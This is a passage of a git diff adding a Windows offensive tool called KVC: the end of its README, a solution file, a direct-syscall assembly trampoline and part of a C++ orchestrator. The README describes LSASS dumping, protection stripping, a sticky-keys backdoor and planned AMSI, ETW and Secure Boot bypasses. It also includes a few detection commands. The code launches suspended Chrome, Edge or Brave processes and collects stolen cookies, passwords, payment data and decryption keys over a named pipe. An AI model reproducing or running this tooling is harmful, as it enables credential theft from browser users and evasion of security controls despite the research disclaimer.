Monitor for suspicious process protection changes +# (Requires advanced kernel monitoring tools) +``` + +#### Process Monitoring +```powershell +# Monitor for suspended browser processes +Get-Process | Where-Object {$_.ProcessName -match "chrome|edge|brave" -and $_.Threads.Count -eq 0} +``` + +#### Registry Monitoring +```powershell +# Monitor sticky keys IFEO modifications +Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -ErrorAction SilentlyContinue +``` + +## 📈 Performance Characteristics + +### Operation Benchmarks + +| Operation | Duration | Memory Usage | Disk I/O | +|-----------|----------|--------------|----------| +| Driver Load/Unload | ~200ms | 2MB | 512KB | +| LSASS Dump (156MB) | ~3.2s | 180MB | 156MB | +| Protection Modification | ~50ms | <1MB | None | +| Browser Credential Extract | ~1.8s | 15MB | 8MB | +| Sticky Keys Install | ~800ms | <1MB | 16KB | + +### System Impact + +KVC is designed for minimal system impact: + +- **No persistent files** (atomic cleanup) +- **No registry persistence** (temporary service entries) +- **Minimal kernel footprint** (driver unloaded immediately) +- **No process hooks** (direct syscalls only) +- **Clean exit handling** (Ctrl+C signal handler) + +## 🎓 Educational Value & Research Applications + +### Windows Internals Research + +KVC serves as an excellent case study for: + +- **Kernel structure analysis** and reverse engineering +- **Process protection mechanisms** understanding +- **Windows security architecture** comprehension +- **EDR/AV evasion techniques** development +- **Privilege escalation methodologies** research + +### Academic Applications + +#### Computer Science Curriculum +- **Operating Systems**: Kernel-mode programming, process management +- **Computer Security**: Access control, privilege escalation, defense evasion +- **Reverse Engineering**: Binary analysis, API hooking, structure recovery +- **Malware Analysis**: Advanced persistence, steganography, evasion + +#### Security Research +- **Red Team Operations**: Advanced post-exploitation techniques +- **Blue Team Training**: Detection and response to sophisticated threats +- **Vulnerability Research**: Windows kernel security boundary analysis +- **Forensics Training**: Memory acquisition from protected processes + +### Responsible Disclosure + +KVC's techniques are documented for legitimate security research and education. The framework: + +- **Does not exploit vulnerabilities** (uses legitimate Windows mechanisms) +- **Requires administrative privileges** (no privilege escalation exploits) +- **Includes comprehensive cleanup** (atomic operations, no persistence) +- **Focuses on education** (detailed documentation and explanation) + +## 🚀 Future Development Roadmap + +### Planned Enhancements + +#### v1.1.0 - Enhanced Browser Support +- Firefox credential extraction improvements +- Safari for Windows support (if applicable) +- Enhanced COM interface detection +- Improved AES-GCM decryption performance + +#### v1.2.0 - Advanced Evasion +- Hardware breakpoint detection evasion +- Enhanced syscall obfuscation +- AMSI bypass integration +- ETW (Event Tracing for Windows) evasion + +#### v1.3.0 - Forensic Capabilities +- Live memory analysis tools +- Network credential extraction +- Active Directory ticket manipulation +- Certificate store access + +#### v2.0.0 - Next-Generation Architecture +- Hypervisor-based protection bypass +- HVCI/VBS environment support +- ARM64 architecture compatibility +- Linux subsystem integration + +### Research Directions + +#### Emerging Threats +- **Windows 11 22H2+ changes** to protection mechanisms +- **Azure VM security features** analysis and bypass +- **Windows Sandbox escape** techniques +- **WSL2 security boundary** research + +#### Advanced Persistence +- **UEFI-level persistence** mechanisms +- **SMM (System Management Mode)** exploitation +- **TPM-based attestation** bypass +- **Secure Boot circumvention** techniques + +## 🤝 Contributing & Community + +### Contributing Guidelines + +We welcome contributions from the security research community: + +#### Code Contributions +1. **Fork the repository** and create feature branches +2. **Follow coding standards** (modern C++17, RAII patterns) +3. **Include comprehensive tests** for new functionality +4. **Document new techniques** thoroughly +5. **Submit pull requests** with detailed descriptions + +#### Research Contributions +- **Windows version compatibility** testing +- **New evasion techniques** development +- **Performance optimizations** +- **Documentation improvements** + +### Community Resources + +#### Official Channels +- **Website**: [kvc.pl](https://kvc.pl) +- **Email**: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Phone**: [+48 607-440-283](tel:+48607440283) + +#### Research Publications +- Academic papers on Windows security mechanisms +- Conference presentations on advanced evasion techniques +- Detailed technical blog posts on implementation specifics + +## ⚖️ Legal & Ethical Considerations + +### Intended Use Cases + +KVC is designed exclusively for legitimate purposes: + +#### Authorized Activities +- **Penetration testing** on owned or authorized systems +- **Security research** in controlled environments +- **Educational training** for cybersecurity professionals +- **Incident response** and forensic analysis +- **Red team exercises** with proper authorization + +#### Prohibited Activities +- **Unauthorized access** to systems not owned or authorized +- **Malicious credential theft** from production systems +- **Circumventing security controls** without permission +- **Distribution of stolen credentials** or sensitive data + +### Legal Compliance + +Users must ensure compliance with applicable laws: + +#### International Considerations +- **CFAA (Computer Fraud and Abuse Act)** in the United States +- **GDPR (General Data Protection Regulation)** in European Union +- **Local cybersecurity laws** in respective jurisdictions +- **Corporate security policies** and agreements + +#### Best Practices +- **Obtain written authorization** before use +- **Document all activities** for compliance purposes +- **Limit scope** to authorized targets only +- **Protect extracted data** according to data protection laws +- **Report findings** through appropriate channels + +## 📞 Support & Contact Information + +### Technical Support + +For technical questions and support: + +#### Primary Contact +- **Author**: Marek Wesołowski (WESMAR) +- **Email**: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Phone**: [+48 607-440-283](tel:+48607440283) +- **Website**: [kvc.pl](https://kvc.pl) + +#### Support Channels +- **Technical Issues**: Detailed bug reports with system information +- **Feature Requests**: Enhancement proposals with use case descriptions +- **Research Collaboration**: Academic and industry partnership opportunities +- **Training Inquiries**: Corporate training and workshop availability + +### Professional Services + +Available consulting services: + +#### Security Assessments +- **Advanced persistent threat (APT) simulation** +- **Windows security architecture review** +- **Custom evasion technique development** +- **Incident response and forensic analysis** + +#### Training & Education +- **Technical workshops** on Windows internals +- **Red team training** for advanced techniques +- **Blue team education** on detection methods +- **Academic guest lectures** and presentations + +--- + +## 📄 License & Disclaimer + +### Educational License + +This software is provided for educational and authorized security research purposes only. Use of this software for unauthorized access to computer systems is strictly prohibited and may violate applicable laws. + +### Disclaimer + +The authors assume no responsibility for misuse of this software. Users are solely responsible for ensuring their use of this software complies with all applicable laws and regulations. + +**USE AT YOUR OWN RISK** + +--- + +
+ +**KVC Framework v1.0.1** +*Advancing Windows Security Research Through Kernel-Level Capabilities* + +🌐 [kvc.pl](https://kvc.pl) | 📧 [Contact](mailto:marek@wesolowski.eu.org) | ⭐ [Star on GitHub](../../) + +*Made with ❤️ for the security research community* + +
diff --git a/images/kvc_01.jpg b/images/kvc_01.jpg new file mode 100644 index 0000000..4ac4ed4 Binary files /dev/null and b/images/kvc_01.jpg differ diff --git a/images/kvc_02.jpg b/images/kvc_02.jpg new file mode 100644 index 0000000..e5e1912 Binary files /dev/null and b/images/kvc_02.jpg differ diff --git a/images/kvc_03.jpg b/images/kvc_03.jpg new file mode 100644 index 0000000..b5f535f Binary files /dev/null and b/images/kvc_03.jpg differ diff --git a/images/kvc_04.jpg b/images/kvc_04.jpg new file mode 100644 index 0000000..8e1a7f4 Binary files /dev/null and b/images/kvc_04.jpg differ diff --git a/kvc.sln b/kvc.sln new file mode 100644 index 0000000..10fee70 --- /dev/null +++ b/kvc.sln @@ -0,0 +1,30 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.13 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc", "kvc\kvc.vcxproj", "{4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.vcxproj", "{87654321-4321-4321-4321-123456789DEF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.ActiveCfg = Release|x64 + {4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.Build.0 = Release|x64 + {87654321-4321-4321-4321-123456789DEF}.Release|x64.ActiveCfg = Release|x64 + {87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64 + {12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64 + {12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307} + EndGlobalSection +EndGlobal diff --git a/kvc/AbiTramp.asm b/kvc/AbiTramp.asm new file mode 100644 index 0000000..7e86076 --- /dev/null +++ b/kvc/AbiTramp.asm @@ -0,0 +1,50 @@ +; AbiTramp.asm - Windows x64 ABI transition trampoline for direct syscalls +; Provides syscall argument marshaling and execution for security operations +; Implements position-independent syscall invocation with proper stack management + +.code +ALIGN 16 +PUBLIC AbiTramp + +; Direct syscall execution trampoline with argument marshaling +; Parameters: SYSCALL_ENTRY* (RCX), followed by up to 10 additional syscall arguments +; Returns: NTSTATUS from kernel syscall execution +AbiTramp PROC FRAME + push rbp + mov rbp, rsp + push rbx + push rdi + push rsi + sub rsp, 80h ; Allocate stack space: shadow space (0x20) + argument buffer (0x40) + alignment + .ENDPROLOG + + mov rbx, rcx ; Preserve SYSCALL_ENTRY* pointer in non-volatile register + + ; Marshal register-based arguments for kernel transition (Windows x64 calling convention) + mov r10, rdx ; Syscall-Arg1 <- Function-Arg2 (first syscall parameter) + mov rdx, r8 ; Syscall-Arg2 <- Function-Arg3 (second syscall parameter) + mov r8, r9 ; Syscall-Arg3 <- Function-Arg4 (third syscall parameter) + mov r9, [rbp+30h] ; Syscall-Arg4 <- Function-Arg5 (fourth syscall parameter from caller stack) + + ; Unconditionally marshal maximum stack arguments for syscall compatibility + ; Copies 8 qwords to handle syscalls with up to 7 stack parameters plus safety margin + lea rsi, [rbp+38h] ; Source: Function-Arg6 position in caller's stack frame + lea rdi, [rsp+20h] ; Destination: Shadow space + syscall stack arguments area + mov rcx, 8 ; Copy 8 qwords (64 bytes total) + rep movsq ; Efficient block copy using string instructions + + ; Prepare for kernel mode transition + movzx eax, word ptr [rbx+12] ; Load System Service Number (SSN) from SYSCALL_ENTRY structure + mov r11, [rbx] ; Load syscall gadget address from SYSCALL_ENTRY structure + + call r11 ; Execute syscall gadget (syscall; ret instruction sequence) + + ; Function epilogue: restore stack frame and non-volatile registers + add rsp, 80h ; Deallocate local stack space + pop rsi ; Restore non-volatile registers in reverse order + pop rdi + pop rbx + pop rbp + ret ; Return NTSTATUS in RAX to caller +AbiTramp ENDP +END \ No newline at end of file diff --git a/kvc/BrowserOrchestrator.cpp b/kvc/BrowserOrchestrator.cpp new file mode 100644 index 0000000..357e2ac --- /dev/null +++ b/kvc/BrowserOrchestrator.cpp @@ -0,0 +1,1266 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// BrowserOrchestrator.cpp +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscalls.h" + +#pragma comment(lib, "Rpcrt4.lib") + +#ifndef IMAGE_FILE_MACHINE_AMD64 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#endif + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace +{ + constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; + constexpr const char* APP_VERSION = "1.0.1"; + constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; + + namespace fs = std::filesystem; +} + +// Global security module path +std::string g_securityModulePath; + +namespace +{ + // RAII wrapper for Windows handles with syscall cleanup + struct HandleDeleter + { + void operator()(HANDLE h) const noexcept + { + if (h && h != INVALID_HANDLE_VALUE) + NtClose_syscall(h); + } + }; + using UniqueHandle = std::unique_ptr; + + namespace Utils + { + // C++23 Type-safe string conversion utilities + std::string u8string_to_string(const std::u8string& u8str) noexcept + { + return {reinterpret_cast(u8str.c_str()), u8str.size()}; + } + + std::string path_to_api_string(const fs::path& path) + { + return u8string_to_string(path.u8string()); + } + + // Convert wide string to UTF-8 for API compatibility + std::string WStringToUtf8(std::wstring_view w_sv) + { + if (w_sv.empty()) return {}; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + nullptr, 0, nullptr, nullptr); + std::string utf8_str(size_needed, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + &utf8_str[0], size_needed, nullptr, nullptr); + return utf8_str; + } + + // Format pointer as hex string for debugging + std::string PtrToHexStr(const void* ptr) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << reinterpret_cast(ptr); + return oss.str(); + } + + // Format NTSTATUS as hex string + std::string NtStatusToString(NTSTATUS status) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << status; + return oss.str(); + } + + // Generate unique named pipe identifier + std::wstring GenerateUniquePipeName() + { + UUID uuid; + UuidCreate(&uuid); + wchar_t* uuidStrRaw = nullptr; + UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); + std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); + RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); + return pipeName; + } + + // Capitalize first letter of string + std::string Capitalize(const std::string& str) + { + if (str.empty()) return str; + std::string result = str; + result[0] = static_cast(std::toupper(static_cast(result[0]))); + return result; + } + } +} + +// Console output manager with colored text support +class Console +{ +public: + explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) + { + CONSOLE_SCREEN_BUFFER_INFO consoleInfo; + GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); + m_originalAttributes = consoleInfo.wAttributes; + } + + void displayBanner() const + { + SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); + std::cout << "PassExtractor x64 | " << APP_VERSION << " by WESMAR\n\n"; + ResetColor(); + } + + void printUsage() const + { + SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L"Usage:\n" + << L" kvc_pass.exe [options] \n\n" + << L"Options:\n" + << L" --output-path|-o Directory for output files (default: .\\output\\)\n" + << L" --verbose|-v Enable verbose debug output from the orchestrator\n" + << L" --help|-h Show this help message\n\n" + << L"Browser targets:\n" + << L" chrome - Extract from Google Chrome\n" + << L" brave - Extract from Brave Browser\n" + << L" edge - Extract from Microsoft Edge\n" + << L" all - Extract from all installed browsers\n\n" + << L"Required files:\n" + << L" " << SECURITY_MODULE_NAME << L" - Security module (same directory)\n" + << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; + ResetColor(); + } + + void Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + void Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + void Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } + void Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + + void Debug(const std::string& msg) const + { + if (m_verbose) + print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); + } + + // Relay messages from security module with colored tags + void Relay(const std::string& message) const + { + size_t tagStart = message.find('['); + size_t tagEnd = message.find(']', tagStart); + + if (tagStart != std::string::npos && tagEnd != std::string::npos) + { + std::cout << message.substr(0, tagStart); + std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); + + WORD color = m_originalAttributes; + if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; + else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << message.substr(tagEnd + 1) << std::endl; + } + else + { + std::cout << message << std::endl; + } + } + + bool m_verbose; + +private: + void print(const std::string& tag, const std::string& msg, WORD color) const + { + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << " " << msg << std::endl; + } + + void SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } + void ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } + + HANDLE m_hConsole; + WORD m_originalAttributes; +}; + +// Registry-based browser installation path resolver +class BrowserPathResolver +{ +public: + explicit BrowserPathResolver(const Console& console) : m_console(console) {} + + // Resolve browser executable path from Windows Registry + std::wstring resolve(const std::wstring& browserExeName) + { + m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); + + const std::wstring registryPaths[] = { + L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, + L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName + }; + + for (const auto& regPath : registryPaths) + { + std::wstring path = queryRegistryDefaultValue(regPath); + if (!path.empty() && fs::exists(path)) + { + m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); + return path; + } + } + + m_console.Debug("Not found in Registry"); + return L""; + } + + // Enumerate all supported browsers installed on the system + std::vector> findAllInstalledBrowsers() + { + std::vector> installedBrowsers; + + const std::pair supportedBrowsers[] = { + {L"chrome", L"chrome.exe"}, + {L"edge", L"msedge.exe"}, + {L"brave", L"brave.exe"} + }; + + m_console.Debug("Enumerating installed browsers..."); + + for (const auto& [browserType, exeName] : supportedBrowsers) + { + std::wstring path = resolve(exeName); + if (!path.empty()) + { + installedBrowsers.push_back({browserType, path}); + m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + + " at: " + Utils::WStringToUtf8(path)); + } + } + + if (installedBrowsers.empty()) + m_console.Warn("No supported browsers found installed on this system"); + else + m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); + + return installedBrowsers; + } + +private: + // Query registry key default value using direct syscalls + std::wstring queryRegistryDefaultValue(const std::wstring& keyPath) + { + std::vector pathBuffer(keyPath.begin(), keyPath.end()); + pathBuffer.push_back(L'\0'); + + UNICODE_STRING_SYSCALLS keyName; + keyName.Buffer = pathBuffer.data(); + keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); + keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); + + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); + + HANDLE hKey = nullptr; + NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); + + if (!NT_SUCCESS(status)) + { + if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND + m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); + return L""; + } + + UniqueHandle keyGuard(hKey); + + UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + ULONG resultLength = 0; + + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + + // Handle buffer size insufficient + if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) + { + buffer.resize(resultLength); + bufferSize = resultLength; + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + } + + if (!NT_SUCCESS(status)) + return L""; + + auto kvpi = reinterpret_cast(buffer.data()); + + // Validate registry value type and size + if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) + return L""; + if (kvpi->DataLength < sizeof(wchar_t) * 2) + return L""; + + size_t charCount = kvpi->DataLength / sizeof(wchar_t); + std::wstring path(reinterpret_cast(kvpi->Data), charCount); + + // Remove null terminators + while (!path.empty() && path.back() == L'\0') + path.pop_back(); + + if (path.empty()) + return L""; + + // Expand environment variables if needed + if (kvpi->Type == REG_EXPAND_SZ) + { + std::vector expanded(MAX_PATH * 2); + DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), + static_cast(expanded.size())); + if (size > 0 && size <= expanded.size()) + path = std::wstring(expanded.data()); + } + + return path; + } + + const Console& m_console; +}; + +// Application configuration management +struct Configuration +{ + bool verbose = false; + fs::path outputPath; + std::wstring browserType; + std::wstring browserProcessName; + std::wstring browserDefaultExePath; + std::string browserDisplayName; + + // Parse command line arguments and create configuration + static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console) + { + Configuration config; + fs::path customOutputPath; + + // Parse command line arguments + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + config.verbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + customOutputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + console.printUsage(); + return std::nullopt; + } + else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') + config.browserType = arg; + else + { + console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); + return std::nullopt; + } + } + + if (config.browserType.empty()) + { + console.printUsage(); + return std::nullopt; + } + + // Normalize browser type to lowercase + std::transform(config.browserType.begin(), config.browserType.end(), + config.browserType.begin(), ::towlower); + + static const std::map browserExeMap = { + {L"chrome", L"chrome.exe"}, + {L"brave", L"brave.exe"}, + {L"edge", L"msedge.exe"} + }; + + auto it = browserExeMap.find(config.browserType); + if (it == browserExeMap.end()) + { + console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); + return std::nullopt; + } + + config.browserProcessName = it->second; + + // Resolve browser installation path through registry + BrowserPathResolver resolver(console); + config.browserDefaultExePath = resolver.resolve(config.browserProcessName); + + if (config.browserDefaultExePath.empty()) + { + console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + " installation in Registry"); + console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + " is properly installed"); + return std::nullopt; + } + + config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); + config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : fs::absolute(customOutputPath); + + return config; + } +}; + +// Target browser process lifecycle management +class TargetProcess +{ +public: + TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {} + + // Create suspended browser process for security analysis + void createSuspended() + { + m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); + m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); + + STARTUPINFOW si{}; + PROCESS_INFORMATION pi{}; + si.cb = sizeof(si); + + if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) + throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); + + m_hProcess.reset(pi.hProcess); + m_hThread.reset(pi.hThread); + m_pid = pi.dwProcessId; + + m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); + checkArchitecture(); + } + + // Terminate browser process via direct syscall + void terminate() + { + if (m_hProcess) + { + m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); + NtTerminateProcess_syscall(m_hProcess.get(), 0); + m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); + } + } + + HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } + +private: + // Verify target process architecture compatibility + void checkArchitecture() + { + USHORT processArch = 0, nativeMachine = 0; + auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( + GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); + if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) + throw std::runtime_error("Failed to determine target process architecture."); + + m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; + constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; + + if (m_arch != orchestratorArch) + throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + + std::string(getArchName(m_arch))); + + m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); + } + + const char* getArchName(USHORT arch) const noexcept + { + switch (arch) + { + case IMAGE_FILE_MACHINE_AMD64: return "x64"; + case IMAGE_FILE_MACHINE_I386: return "x86"; + default: return "Unknown"; + } + } + + const Configuration& m_config; + const Console& m_console; + DWORD m_pid = 0; + UniqueHandle m_hProcess; + UniqueHandle m_hThread; + USHORT m_arch = 0; +}; + +// Named pipe communication with security module +class PipeCommunicator +{ +public: + // Data extraction statistics collected from module + struct ExtractionStats + { + int totalCookies = 0; + int totalPasswords = 0; + int totalPayments = 0; + int profileCount = 0; + std::string aesKey; + }; + + PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {} + + // Create named pipe server for module communication + void create() + { + m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 4096, 4096, 0, nullptr)); + if (!m_pipeHandle) + throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); + } + + // Wait for security module to establish connection + void waitForClient() + { + m_console.Debug("Waiting for security module to connect to named pipe."); + if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) + throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Security module connected to named pipe."); + } + + // Send initial configuration to security module + void sendInitialData(bool isVerbose, const fs::path& outputPath) + { + writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); + writeMessage(Utils::path_to_api_string(outputPath)); + } + + // Relay messages from security module and parse statistics + void relayMessages() + { + m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); + + if (m_console.m_verbose) + std::cout << std::endl; + + const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; + DWORD startTime = GetTickCount(); + std::string accumulatedData; + char buffer[4096]; + bool completed = false; + + while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) + { + DWORD bytesAvailable = 0; + if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); + break; + } + + if (bytesAvailable == 0) + { + Sleep(100); + continue; + } + + DWORD bytesRead = 0; + if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + continue; + } + + accumulatedData.append(buffer, bytesRead); + + // Process null-terminated messages + size_t messageStart = 0; + size_t nullPos; + while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) + { + std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); + messageStart = nullPos + 1; + + if (message == moduleCompletionSignal) + { + m_console.Debug("Security module completion signal received."); + completed = true; + break; + } + + parseExtractionMessage(message); + + if (!message.empty() && m_console.m_verbose) + m_console.Relay(message); + } + + if (completed) + break; + + accumulatedData.erase(0, messageStart); + } + + if (m_console.m_verbose) + std::cout << std::endl; + + m_console.Debug("Security module signaled completion or pipe interaction ended."); + } + + const ExtractionStats& getStats() const noexcept { return m_stats; } + const std::wstring& getName() const noexcept { return m_pipeName; } + +private: + // Write message to named pipe + void writeMessage(const std::string& msg) + { + DWORD bytesWritten = 0; + if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || + bytesWritten != (msg.length() + 1)) + throw std::runtime_error("WriteFile to pipe failed for message: " + msg); + + m_console.Debug("Sent message to pipe: " + msg); + } + + // Parse extraction statistics from security module messages + void parseExtractionMessage(const std::string& message) + { + auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int + { + size_t start = message.find(prefix); + if (start == std::string::npos) return 0; + start += prefix.length(); + size_t end = message.find(suffix, start); + if (end == std::string::npos) return 0; + + try { + return std::stoi(message.substr(start, end - start)); + } + catch (...) { + return 0; + } + }; + + // Parse different statistics from security module messages + if (message.find("Found ") != std::string::npos && message.find("profile(s)") != 